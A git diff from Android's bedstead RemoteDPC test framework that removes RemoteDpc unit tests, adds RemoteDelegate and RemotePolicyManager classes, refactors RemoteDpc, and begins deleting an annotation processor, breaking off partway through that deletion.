-        UserReference profile = sTestApis.users().createUser()
-                .parent(sUser)
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
-                .createAndStart();
-        try {
-            RemoteDpc profileOwner = RemoteDpc.setAsProfileOwner(profile);
-
-            assertThat(RemoteDpc.any(profile)).isEqualTo(profileOwner);
-        } finally {
-            profile.remove();
-        }
-    }
-
-    @Test
-    public void setAsDeviceOwner_userHandle_null_throwsException() {
-        assertThrows(NullPointerException.class,
-                () -> RemoteDpc.setAsDeviceOwner((UserHandle) null));
-    }
-
-    @Test
-    public void setAsDeviceOwner_userHandle_nonExistingUser_throwsException() {
-        assertThrows(NeneException.class,
-                () -> RemoteDpc.setAsDeviceOwner(NON_EXISTING_USER_HANDLE));
-    }
-
-    @Test
-    public void setAsDeviceOwner_userHandle_alreadySet_doesNothing() {
-        RemoteDpc.setAsDeviceOwner(sUser.userHandle());
-
-        DeviceOwner deviceOwner = sTestApis.devicePolicy().getDeviceOwner();
-        try {
-            RemoteDpc.setAsDeviceOwner(sUser.userHandle());
-
-            deviceOwner = sTestApis.devicePolicy().getDeviceOwner();
-            assertThat(deviceOwner).isNotNull();
-        } finally {
-            if (deviceOwner != null) {
-                deviceOwner.remove();
-            }
-        }
-    }
-
-    @Test
-    public void setAsDeviceOwner_userHandle_alreadyHasDeviceOwner_replacesDeviceOwner() {
-        sTestApis.devicePolicy().setDeviceOwner(sUser, NON_REMOTE_DPC_COMPONENT);
-
-        try {
-            RemoteDpc remoteDPC = RemoteDpc.setAsDeviceOwner(sUser.userHandle());
-
-            DeviceOwner deviceOwner = sTestApis.devicePolicy().getDeviceOwner();
-            assertThat(deviceOwner).isEqualTo(remoteDPC.devicePolicyController());
-        } finally {
-            sTestApis.devicePolicy().getDeviceOwner().remove();
-        }
-    }
-
-    @Test
-    public void setAsDeviceOwner_userHandle_doesNotHaveDeviceOwner_setsDeviceOwner() {
-        RemoteDpc.setAsDeviceOwner(sUser.userHandle());
-
-        DeviceOwner deviceOwner = sTestApis.devicePolicy().getDeviceOwner();
-        try {
-            assertThat(deviceOwner).isNotNull();
-        } finally {
-            if (deviceOwner != null) {
-                deviceOwner.remove();
-            }
-        }
-    }
-
-    @Test
-    public void setAsDeviceOwner_userReference_null_throwsException() {
-        assertThrows(NullPointerException.class,
-                () -> RemoteDpc.setAsDeviceOwner((UserReference) null));
-    }
-
-    @Test
-    public void setAsDeviceOwner_userReference_nonExistingUser_throwsException() {
-        assertThrows(NeneException.class,
-                () -> RemoteDpc.setAsDeviceOwner(NON_EXISTING_USER_REFERENCE));
-    }
-
-    @Test
-    public void setAsDeviceOwner_userReference_alreadySet_doesNothing() {
-        RemoteDpc.setAsDeviceOwner(sUser);
-
-        DeviceOwner deviceOwner = sTestApis.devicePolicy().getDeviceOwner();
-        try {
-            RemoteDpc.setAsDeviceOwner(sUser);
-
-            deviceOwner = sTestApis.devicePolicy().getDeviceOwner();
-            assertThat(deviceOwner).isNotNull();
-        } finally {
-            if (deviceOwner != null) {
-                deviceOwner.remove();
-            }
-        }
-    }
-
-    @Test
-    public void setAsDeviceOwner_userReference_alreadyHasDeviceOwner_replacesDeviceOwner() {
-        sTestApis.devicePolicy().setDeviceOwner(sUser, NON_REMOTE_DPC_COMPONENT);
-
-        try {
-            RemoteDpc remoteDPC = RemoteDpc.setAsDeviceOwner(sUser);
-
-            DeviceOwner deviceOwner = sTestApis.devicePolicy().getDeviceOwner();
-            assertThat(deviceOwner).isEqualTo(remoteDPC.devicePolicyController());
-        } finally {
-            sTestApis.devicePolicy().getDeviceOwner().remove();
-        }
-    }
-
-    @Test
-    public void setAsDeviceOwner_userReference_doesNotHaveDeviceOwner_setsDeviceOwner() {
-        RemoteDpc.setAsDeviceOwner(sUser);
-
-        DeviceOwner deviceOwner = sTestApis.devicePolicy().getDeviceOwner();
-        try {
-            assertThat(deviceOwner).isNotNull();
-        } finally {
-            if (deviceOwner != null) {
-                deviceOwner.remove();
-            }
-        }
-    }
-
-    @Test
-    public void setAsProfileOwner_userHandle_null_throwsException() {
-        assertThrows(NullPointerException.class,
-                () -> RemoteDpc.setAsProfileOwner((UserHandle) null));
-    }
-
-    @Test
-    public void setAsProfileOwner_userHandle_nonExistingUser_throwsException() {
-        assertThrows(NeneException.class,
-                () -> RemoteDpc.setAsProfileOwner(NON_EXISTING_USER_HANDLE));
-    }
-
-    @Test
-    @EnsureHasNoDeviceOwner
-    public void setAsProfileOwner_userHandle_alreadySet_doesNothing() {
-        UserReference profile = sTestApis.users().createUser()
-                .parent(sUser)
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
-                .createAndStart();
-        try {
-            RemoteDpc.setAsProfileOwner(profile.userHandle());
-
-            RemoteDpc.setAsProfileOwner(profile.userHandle());
-
-            assertThat(sTestApis.devicePolicy().getProfileOwner(profile)).isNotNull();
-        } finally {
-            profile.remove();
-        }
-    }
-
-    @Test
-    @EnsureHasNoDeviceOwner
-    public void setAsProfileOwner_userHandle_alreadyHasProfileOwner_replacesProfileOwner() {
-        UserReference profile = sTestApis.users().createUser()
-                .parent(sUser)
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
-                .createAndStart();
-        sNonRemoteDpcTestApp.install(profile);
-        try {
-            sTestApis.devicePolicy().setProfileOwner(profile, NON_REMOTE_DPC_COMPONENT);
-
-            RemoteDpc remoteDPC = RemoteDpc.setAsProfileOwner(profile.userHandle());
-
-            assertThat(sTestApis.devicePolicy().getProfileOwner(profile))
-                    .isEqualTo(remoteDPC.devicePolicyController());
-        } finally {
-            profile.remove();
-        }
-    }
-
-    @Test
-    @EnsureHasNoDeviceOwner
-    public void setAsProfileOwner_userHandle_doesNotHaveProfileOwner_setsProfileOwner() {
-        UserReference profile = sTestApis.users().createUser()
-                .parent(sUser)
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
-                .createAndStart();
-        try {
-            RemoteDpc.setAsProfileOwner(profile.userHandle());
-
-            assertThat(sTestApis.devicePolicy().getProfileOwner(profile)).isNotNull();
-        } finally {
-            profile.remove();
-        }
-    }
-
-    @Test
-    public void setAsProfileOwner_userReference_null_throwsException() {
-        assertThrows(NullPointerException.class,
-                () -> RemoteDpc.setAsProfileOwner((UserReference) null));
-    }
-
-    @Test
-    public void setAsProfileOwner_userReference_nonExistingUser_throwsException() {
-        assertThrows(NeneException.class,
-                () -> RemoteDpc.setAsProfileOwner(NON_EXISTING_USER_REFERENCE));
-    }
-
-    @Test
-    @EnsureHasNoDeviceOwner
-    public void setAsProfileOwner_userReference_alreadySet_doesNothing() {
-        UserReference profile = sTestApis.users().createUser()
-                .parent(sUser)
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
-                .createAndStart();
-        try {
-            RemoteDpc.setAsProfileOwner(profile);
-
-            RemoteDpc.setAsProfileOwner(profile);
-
-            assertThat(sTestApis.devicePolicy().getProfileOwner(profile)).isNotNull();
-        } finally {
-            profile.remove();
-        }
-    }
-
-    @Test
-    @EnsureHasNoDeviceOwner
-    public void setAsProfileOwner_userReference_alreadyHasProfileOwner_replacesProfileOwner() {
-        UserReference profile = sTestApis.users().createUser()
-                .parent(sUser)
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
-                .createAndStart();
-        sNonRemoteDpcTestApp.install(profile);
-        try {
-            sTestApis.devicePolicy().setProfileOwner(profile, NON_REMOTE_DPC_COMPONENT);
-
-            RemoteDpc remoteDPC = RemoteDpc.setAsProfileOwner(profile);
-
-            assertThat(sTestApis.devicePolicy().getProfileOwner(profile))
-                    .isEqualTo(remoteDPC.devicePolicyController());
-        } finally {
-            profile.remove();
-        }
-    }
-
-    @Test
-    @EnsureHasNoDeviceOwner
-    public void setAsProfileOwner_userReference_doesNotHaveProfileOwner_setsProfileOwner() {
-        UserReference profile = sTestApis.users().createUser()
-                .parent(sUser)
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
-                .createAndStart();
-        try {
-            RemoteDpc.setAsProfileOwner(profile);
-
-            assertThat(sTestApis.devicePolicy().getProfileOwner(profile)).isNotNull();
-        } finally {
-            profile.remove();
-        }
-    }
-
-    @Test
-    public void devicePolicyController_returnsDevicePolicyController() {
-        RemoteDpc remoteDPC = RemoteDpc.setAsDeviceOwner(sUser);
-
-        try {
-            assertThat(remoteDPC.devicePolicyController())
-                    .isEqualTo(sTestApis.devicePolicy().getDeviceOwner());
-        } finally {
-            remoteDPC.remove();
-        }
-    }
-
-    @Test
-    public void remove_deviceOwner_removes() {
-        RemoteDpc remoteDPC = RemoteDpc.setAsDeviceOwner(sUser);
-
-        remoteDPC.remove();
-
-        assertThat(sTestApis.devicePolicy().getDeviceOwner()).isNull();
-    }
-
-    @Test
-    @EnsureHasNoDeviceOwner
-    public void remove_profileOwner_removes() {
-        try (UserReference profile = sTestApis.users().createUser()
-                .parent(sUser)
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
-                .createAndStart()) {
-            RemoteDpc remoteDPC = RemoteDpc.setAsProfileOwner(profile);
-
-            remoteDPC.remove();
-
-            assertThat(sTestApis.devicePolicy().getProfileOwner(profile)).isNull();
-        }
-    }
-
-    // TODO(scottjonathan): Do we need to support the case where there is both a DO and a PO on
-    //  older versions of Android?
-
-    @Test
-    public void frameworkCall_makesCall() {
-        RemoteDpc remoteDPC = RemoteDpc.setAsDeviceOwner(sUser);
-
-        try {
-            // Checking that the call succeeds
-            remoteDPC.devicePolicyManager().getCurrentFailedPasswordAttempts();
-        } finally {
-            remoteDPC.remove();
-        }
-    }
-
-    @Test
-    @EnsureHasNoDeviceOwner
-    public void frameworkCall_onProfile_makesCall() {
-        try (UserReference profile = sTestApis.users().createUser()
-                .parent(sUser)
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
-                .createAndStart()) {
-            RemoteDpc remoteDPC = RemoteDpc.setAsProfileOwner(profile);
-
-            // Checking that the call succeeds
-            remoteDPC.devicePolicyManager().isUsingUnifiedPassword();
-        }
-    }
-
-    @Test
-    public void frameworkCallRequiresProfileOwner_notProfileOwner_throwsSecurityException() {
-        RemoteDpc remoteDPC = RemoteDpc.setAsDeviceOwner(sUser);
-
-        try {
-            assertThrows(SecurityException.class,
-                    () -> remoteDPC.devicePolicyManager().isUsingUnifiedPassword());
-        } finally {
-            remoteDPC.remove();
-        }
-    }
-
-    @Test
-    public void forDevicePolicyController_nullDevicePolicyController_throwsException() {
-        assertThrows(NullPointerException.class, () -> RemoteDpc.forDevicePolicyController(null));
-    }
-
-    @Test
-    public void forDevicePolicyController_nonRemoteDpcDevicePolicyController_throwsException() {
-        DeviceOwner deviceOwner = sTestApis.devicePolicy().setDeviceOwner(sUser,
-                NON_REMOTE_DPC_COMPONENT);
-
-        try {
-            assertThrows(IllegalStateException.class,
-                    () -> RemoteDpc.forDevicePolicyController(deviceOwner));
-        } finally {
-            deviceOwner.remove();
-        }
-    }
-
-    @Test
-    public void forDevicePolicyController_remoteDpcDevicePolicyController_returnsRemoteDpc() {
-        RemoteDpc remoteDPC = RemoteDpc.setAsDeviceOwner(sUser);
-
-        try {
-            assertThat(RemoteDpc.forDevicePolicyController(remoteDPC.devicePolicyController()))
-                    .isNotNull();
-        } finally {
-            remoteDPC.remove();
-        }
-
-    }
-}
\ No newline at end of file
diff --git a/common/device-side/bedstead/remotedpc/src/library/main/AndroidManifest.xml b/common/device-side/bedstead/remotedpc/src/main/AndroidManifest.xml
similarity index 94%
rename from common/device-side/bedstead/remotedpc/src/library/main/AndroidManifest.xml
rename to common/device-side/bedstead/remotedpc/src/main/AndroidManifest.xml
index 571f8cf..5d6ee4b 100644
--- a/common/device-side/bedstead/remotedpc/src/library/main/AndroidManifest.xml
+++ b/common/device-side/bedstead/remotedpc/src/main/AndroidManifest.xml
@@ -18,7 +18,7 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.bedstead.remotedpc">
-    <uses-sdk android:minSdkVersion="27" />
+    <uses-sdk android:minSdkVersion="28" />
     <application>
     </application>
 </manifest>
diff --git a/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemoteDelegate.java b/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemoteDelegate.java
new file mode 100644
index 0000000..714208f
--- /dev/null
+++ b/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemoteDelegate.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remotedpc;
+
+import android.content.ComponentName;
+
+import androidx.annotation.Nullable;
+
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppProvider;
+
+/**
+ * {@link RemotePolicyManager} subclass representing an app which has been delegated to.
+ */
+public final class RemoteDelegate extends RemotePolicyManager {
+
+    private static final TestAppProvider sTestAppProvider = new TestAppProvider();
+    public static final TestApp sTestApp = sTestAppProvider.query()
+            .wherePackageName().isEqualTo("com.android.Delegate")
+            .get();
+
+    public RemoteDelegate(TestApp testApp, UserReference user) {
+        super(testApp, user);
+    }
+
+    @Nullable
+    @Override
+    public ComponentName componentName() {
+        return null;
+    }
+}
diff --git a/common/device-side/bedstead/remotedpc/src/library/main/java/com/android/bedstead/remotedpc/RemoteDpc.java b/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemoteDpc.java
similarity index 65%
rename from common/device-side/bedstead/remotedpc/src/library/main/java/com/android/bedstead/remotedpc/RemoteDpc.java
rename to common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemoteDpc.java
index 792776d..01519a0 100644
--- a/common/device-side/bedstead/remotedpc/src/library/main/java/com/android/bedstead/remotedpc/RemoteDpc.java
+++ b/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemoteDpc.java
@@ -16,12 +16,10 @@
 
 package com.android.bedstead.remotedpc;
 
-import static com.android.bedstead.remotedpc.Configuration.REMOTE_DPC_COMPONENT_NAME;
-import static com.android.compatibility.common.util.FileUtils.readInputStreamFully;
+import static android.os.UserManager.DISALLOW_INSTALL_UNKNOWN_SOURCES;
 
-import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
-import android.content.Context;
+import android.os.Build;
 import android.os.UserHandle;
 
 import androidx.annotation.Nullable;
@@ -32,23 +30,22 @@
 import com.android.bedstead.nene.devicepolicy.ProfileOwner;
 import com.android.bedstead.nene.exceptions.NeneException;
 import com.android.bedstead.nene.users.UserReference;
-import com.android.bedstead.remotedpc.connected.RemoteDPCBinder;
-import com.android.bedstead.remotedpc.managers.RemoteDevicePolicyManager;
-import com.android.bedstead.remotedpc.managers.RemoteDevicePolicyManager_Wrapper;
-
-import com.google.android.enterprise.connectedapps.CrossProfileConnector;
-
-import java.io.IOException;
-import java.io.InputStream;
+import com.android.bedstead.nene.utils.Versions;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppProvider;
 
 /** Entry point to RemoteDPC. */
-public final class RemoteDpc {
+public final class RemoteDpc extends RemotePolicyManager {
 
-    private static final TestApis sTestApis = new TestApis();
-    // This must be instrumentation not instrumented to access the resources
-    private static final Context sContext = sTestApis.context().instrumentationContext();
+    public static final ComponentName DPC_COMPONENT_NAME = new ComponentName(
+            "com.android.RemoteDPC",
+            "com.android.bedstead.testapp.BaseTestAppDeviceAdminReceiver"
+    );
 
-    public static final ComponentName DPC_COMPONENT_NAME = REMOTE_DPC_COMPONENT_NAME;
+    private static final TestAppProvider sTestAppProvider = new TestAppProvider();
+    private static final TestApp sTestApp = sTestAppProvider.query()
+            .wherePackageName().isEqualTo(DPC_COMPONENT_NAME.getPackageName())
+            .get();
 
     /**
      * Get the {@link RemoteDpc} instance for the Device Owner.
@@ -57,7 +54,7 @@
      */
     @Nullable
     public static RemoteDpc deviceOwner() {
-        DeviceOwner deviceOwner = sTestApis.devicePolicy().getDeviceOwner();
+        DeviceOwner deviceOwner = TestApis.devicePolicy().getDeviceOwner();
         if (deviceOwner == null || !deviceOwner.componentName().equals(DPC_COMPONENT_NAME)) {
             return null;
         }
@@ -72,7 +69,7 @@
      */
     @Nullable
     public static RemoteDpc profileOwner() {
-        return profileOwner(sTestApis.users().instrumented());
+        return profileOwner(TestApis.users().instrumented());
     }
 
     /**
@@ -86,7 +83,7 @@
             throw new NullPointerException();
         }
 
-        return profileOwner(sTestApis.users().find(profile));
+        return profileOwner(TestApis.users().find(profile));
     }
 
     /**
@@ -100,7 +97,7 @@
             throw new NullPointerException();
         }
 
-        ProfileOwner profileOwner = sTestApis.devicePolicy().getProfileOwner(profile);
+        ProfileOwner profileOwner = TestApis.devicePolicy().getProfileOwner(profile);
         if (profileOwner == null || !profileOwner.componentName().equals(DPC_COMPONENT_NAME)) {
             return null;
         }
@@ -116,7 +113,7 @@
      */
     @Nullable
     public static RemoteDpc any() {
-        return any(sTestApis.users().instrumented());
+        return any(TestApis.users().instrumented());
     }
 
     /**
@@ -131,7 +128,7 @@
             throw new NullPointerException();
         }
 
-        return any(sTestApis.users().find(user));
+        return any(TestApis.users().find(user));
     }
 
     /**
@@ -156,7 +153,7 @@
         if (controller == null) {
             throw new NullPointerException();
         }
-        if (!controller.componentName().equals(REMOTE_DPC_COMPONENT_NAME)) {
+        if (!controller.componentName().equals(DPC_COMPONENT_NAME)) {
             throw new IllegalStateException("DevicePolicyController is not a RemoteDPC: "
                     + controller);
         }
@@ -167,22 +164,8 @@
     /**
      * Set RemoteDPC as the Device Owner.
      */
-    public static RemoteDpc setAsDeviceOwner(UserHandle user) {
-        if (user == null) {
-            throw new NullPointerException();
-        }
-        return setAsDeviceOwner(sTestApis.users().find(user));
-    }
-
-    /**
-     * Set RemoteDPC as the Device Owner.
-     */
-    public static RemoteDpc setAsDeviceOwner(UserReference user) {
-        if (user == null) {
-            throw new NullPointerException();
-        }
-
-        DeviceOwner deviceOwner = sTestApis.devicePolicy().getDeviceOwner();
+    public static RemoteDpc setAsDeviceOwner() {
+        DeviceOwner deviceOwner = TestApis.devicePolicy().getDeviceOwner();
         if (deviceOwner != null) {
             if (deviceOwner.componentName().equals(DPC_COMPONENT_NAME)) {
                 return new RemoteDpc(deviceOwner); // Already set
@@ -190,9 +173,10 @@
             deviceOwner.remove();
         }
 
-        ensureInstalled(user);
-        return new RemoteDpc(sTestApis.devicePolicy().setDeviceOwner(user,
-                REMOTE_DPC_COMPONENT_NAME));
+        ensureInstalled(TestApis.users().system());
+        RemoteDpc remoteDpc = new RemoteDpc(
+                TestApis.devicePolicy().setDeviceOwner(DPC_COMPONENT_NAME));
+        return remoteDpc;
     }
 
     /**
@@ -202,18 +186,27 @@
         if (user == null) {
             throw new NullPointerException();
         }
-        return setAsProfileOwner(sTestApis.users().find(user));
+        return setAsProfileOwner(TestApis.users().find(user));
     }
 
     /**
      * Set RemoteDPC as the Profile Owner.
+     *
+     * <p>If called for Android versions prior to Q, an exception will be thrown if the user is not
+     * the instrumented user.
      */
     public static RemoteDpc setAsProfileOwner(UserReference user) {
         if (user == null) {
             throw new NullPointerException();
         }
 
-        ProfileOwner profileOwner = sTestApis.devicePolicy().getProfileOwner(user);
+        if (!user.equals(TestApis.users().instrumented())) {
+            if (!Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.Q)) {
+                throw new NeneException("Cannot use RemoteDPC across users prior to Q");
+            }
+        }
+
+        ProfileOwner profileOwner = TestApis.devicePolicy().getProfileOwner(user);
         if (profileOwner != null) {
             if (profileOwner.componentName().equals(DPC_COMPONENT_NAME)) {
                 return new RemoteDpc(profileOwner); // Already set
@@ -222,36 +215,25 @@
         }
 
         ensureInstalled(user);
-        return new RemoteDpc(sTestApis.devicePolicy().setProfileOwner(user,
-                REMOTE_DPC_COMPONENT_NAME));
+        RemoteDpc remoteDpc = new RemoteDpc(
+                TestApis.devicePolicy().setProfileOwner(user, DPC_COMPONENT_NAME));
+
+        // DISALLOW_INSTALL_UNKNOWN_SOURCES causes verification failures in work profiles
+        remoteDpc.devicePolicyManager()
+                .clearUserRestriction(remoteDpc.componentName(), DISALLOW_INSTALL_UNKNOWN_SOURCES);
+
+        return remoteDpc;
     }
 
     private static void ensureInstalled(UserReference user) {
-        sTestApis.packages().install(user, apkBytes());
-    }
-
-    private static byte[] apkBytes() {
-        int apkId = sContext.getResources().getIdentifier(
-                "raw/RemoteDPC_DPC", /* defType= */ null, sContext.getPackageName());
-        try (InputStream inputStream =
-                     sContext.getResources().openRawResource(apkId)) {
-            return readInputStreamFully(inputStream);
-        } catch (IOException e) {
-            throw new NeneException("Error when reading RemoteDPC bytes", e);
-        }
+        sTestApp.install(user);
     }
 
     private final DevicePolicyController mDevicePolicyController;
-    private final CrossProfileConnector mConnector;
 
     private RemoteDpc(DevicePolicyController devicePolicyController) {
-        if (devicePolicyController == null) {
-            throw new NullPointerException();
-        }
+        super(sTestApp, devicePolicyController == null ? null : devicePolicyController.user());
         mDevicePolicyController = devicePolicyController;
-        mConnector = CrossProfileConnector.builder(sTestApis.context().instrumentedContext())
-                .setBinder(new RemoteDPCBinder(this))
-                .build();
     }
 
     /**
@@ -266,10 +248,18 @@
      */
     public void remove() {
         mDevicePolicyController.remove();
-        sTestApis.packages().find(REMOTE_DPC_COMPONENT_NAME.getPackageName())
+        TestApis.packages().find(DPC_COMPONENT_NAME.getPackageName())
                 .uninstall(mDevicePolicyController.user());
     }
 
+    /**
+     * Get the {@link ComponentName} of the DPC.
+     */
+    @Override
+    public ComponentName componentName() {
+        return DPC_COMPONENT_NAME;
+    }
+
     @Override
     public int hashCode() {
         return mDevicePolicyController.hashCode();
@@ -285,11 +275,11 @@
         return other.mDevicePolicyController.equals(mDevicePolicyController);
     }
 
-    /**
-     * Get a {@link RemoteDevicePolicyManager} to make calls to {@link DevicePolicyManager} using
-     * this RemoteDPC.
-     */
-    public RemoteDevicePolicyManager devicePolicyManager() {
-        return new RemoteDevicePolicyManager_Wrapper(mConnector);
+    @Override
+    public String toString() {
+        return "RemoteDpc{"
+                + "devicePolicyController=" + mDevicePolicyController
+                + ", testApp=" + super.toString()
+                + '}';
     }
 }
diff --git a/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemotePolicyManager.java b/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemotePolicyManager.java
new file mode 100644
index 0000000..8532ef3
--- /dev/null
+++ b/common/device-side/bedstead/remotedpc/src/main/java/com/android/bedstead/remotedpc/RemotePolicyManager.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remotedpc;
+
+import android.content.ComponentName;
+
+import androidx.annotation.Nullable;
+
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppInstance;
+
+/** A Remote app which can change device policy */
+public abstract class RemotePolicyManager extends TestAppInstance {
+
+    RemotePolicyManager(TestApp testApp, UserReference user) {
+        super(testApp, user);
+    }
+
+    /**
+     * Get the {@link ComponentName} of the device admin for the policy manager.
+     *
+     * <p>Null if there is no device admin
+     */
+    @Nullable
+    public abstract ComponentName componentName();
+}
diff --git a/common/device-side/bedstead/remotedpc/src/processor/main/java/com/android/bedstead/remotedpc/processor/Processor.java b/common/device-side/bedstead/remotedpc/src/processor/main/java/com/android/bedstead/remotedpc/processor/Processor.java
deleted file mode 100644
index 3277580..0000000
--- a/common/device-side/bedstead/remotedpc/src/processor/main/java/com/android/bedstead/remotedpc/processor/Processor.java
+++ /dev/null
@@ -1,407 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.bedstead.remotedpc.processor;
-
-import com.android.bedstead.remotedpc.processor.annotations.RemoteDpcAutomaticAdmin;
-import com.android.bedstead.remotedpc.processor.annotations.RemoteDpcManager;
-
-import com.google.android.enterprise.connectedapps.annotations.CrossProfile;
-import com.google.android.enterprise.connectedapps.annotations.CrossProfileConfiguration;
-import com.google.android.enterprise.connectedapps.annotations.CrossProfileProvider;
-import com.google.auto.service.AutoService;
-import com.squareup.javapoet.AnnotationSpec;
-import com.squareup.javapoet.ClassName;
-import com.squareup.javapoet.CodeBlock;
-import com.squareup.javapoet.JavaFile;
-import com.squareup.javapoet.MethodSpec;
-import com.squareup.javapoet.ParameterSpec;
-import com.squareup.javapoet.TypeSpec;
-
-import java.io.IOException;
-import java.io.PrintWriter;
-import java.util.HashSet;
-import java.util.Set;
-import java.util.stream.Collectors;
-
-import javax.annotation.processing.AbstractProcessor;
-import javax.annotation.processing.RoundEnvironment;
-import javax.annotation.processing.SupportedAnnotationTypes;
-import javax.lang.model.SourceVersion;
-import javax.lang.model.element.Element;
-import javax.lang.model.element.ExecutableElement;
-import javax.lang.model.element.Modifier;
-import javax.lang.model.element.PackageElement;
-import javax.lang.model.element.TypeElement;
-import javax.lang.model.element.VariableElement;
-import javax.lang.model.type.MirroredTypeException;
-import javax.lang.model.type.TypeKind;
-import javax.tools.Diagnostic;
-import javax.tools.JavaFileObject;
-
-/** Processor for generating RemoteDPC API for framework manager classes. */
-@SupportedAnnotationTypes({
-        "com.android.bedstead.remotedpc.processor.annotations.RemoteDpcManager",
-})
-@AutoService(javax.annotation.processing.Processor.class)
-public final class Processor extends AbstractProcessor {
-    // TODO(scottjonathan): Add more verification before generating - and add processor tests
-    private static final ClassName CONTEXT_CLASSNAME =
-            ClassName.get("android.content", "Context");
-    private static final ClassName CONFIGURATION_CLASSNAME =
-            ClassName.get("com.android.bedstead.remotedpc", "Configuration");
-    private static final ClassName CROSS_PROFILE_CONNECTOR_CLASSNAME =
-            ClassName.get("com.google.android.enterprise.connectedapps", "CrossProfileConnector");
-    private static final ClassName UNAVAILABLE_PROFILE_EXCEPTION_CLASSNAME =
-            ClassName.get(
-                    "com.google.android.enterprise.connectedapps.exceptions",
-                    "UnavailableProfileException");
-    private static final ClassName PROFILE_RUNTIME_EXCEPTION_CLASSNAME =
-            ClassName.get(
-                    "com.google.android.enterprise.connectedapps.exceptions",
-                    "ProfileRuntimeException");
-    private static final ClassName NENE_EXCEPTION_CLASSNAME =
-            ClassName.get(
-                    "com.android.bedstead.nene.exceptions", "NeneException");
-    public static final String MANAGER_PACKAGE_NAME = "com.android.bedstead.remotedpc.managers";
-
-    @Override
-    public SourceVersion getSupportedSourceVersion() {
-        return SourceVersion.latest();
-    }
-
-    @Override
-    public boolean process(Set<? extends TypeElement> annotations,
-            RoundEnvironment roundEnv) {
-
-        Set<TypeElement> interfaces = new HashSet<>();
-
-        for (Element e : roundEnv.getElementsAnnotatedWith(RemoteDpcManager.class)) {
-            TypeElement interfaceClass = (TypeElement) e;
-            interfaces.add(interfaceClass);
-            processRemoteDpcManagerInterface(interfaceClass);
-        }
-
-        if (interfaces.isEmpty()) {
-            // We only want to generate the provider and configuration once, not on every iteration
-            return true;
-        }
-
-        generateProvider(interfaces);
-        generateConfiguration();
-
-        return true;
-    }
-
-    private void processRemoteDpcManagerInterface(TypeElement interfaceClass) {
-        RemoteDpcManager r = interfaceClass.getAnnotation(RemoteDpcManager.class);
-        TypeElement managerClass = extractClassFromAnnotation(r::managerClass);
-
-        if (!interfaceClass.getKind().isInterface()) {
-            showError("@RemoteDpcManager can only be applied to interfaces", interfaceClass);
-        }
-
-        generateCrossProfileInterface(interfaceClass);
-        generateImplClass(interfaceClass, managerClass);
-        generateWrapperClass(interfaceClass);
-    }
-
-    /** Generate Impl which wraps the manager class. */
-    private void generateImplClass(TypeElement interfaceClass, TypeElement managerClass) {
-        ClassName managerClassName = ClassName.get(managerClass);
-
-        TypeSpec.Builder classBuilder = TypeSpec.classBuilder(implName(interfaceClass))
-                .addSuperinterface(crossProfileInterfaceName(interfaceClass))
-                .addModifiers(Modifier.PUBLIC, Modifier.FINAL);
-
-        classBuilder.addAnnotation(AnnotationSpec.builder(SuppressWarnings.class)
-                .addMember("value", "{\"NewApi\", \"OldTargetApi\"}")
-                .build());
-
-        classBuilder.addField(managerClassName,
-                "mManager", Modifier.PRIVATE, Modifier.FINAL);
-
-        classBuilder.addMethod(
-                MethodSpec.constructorBuilder()
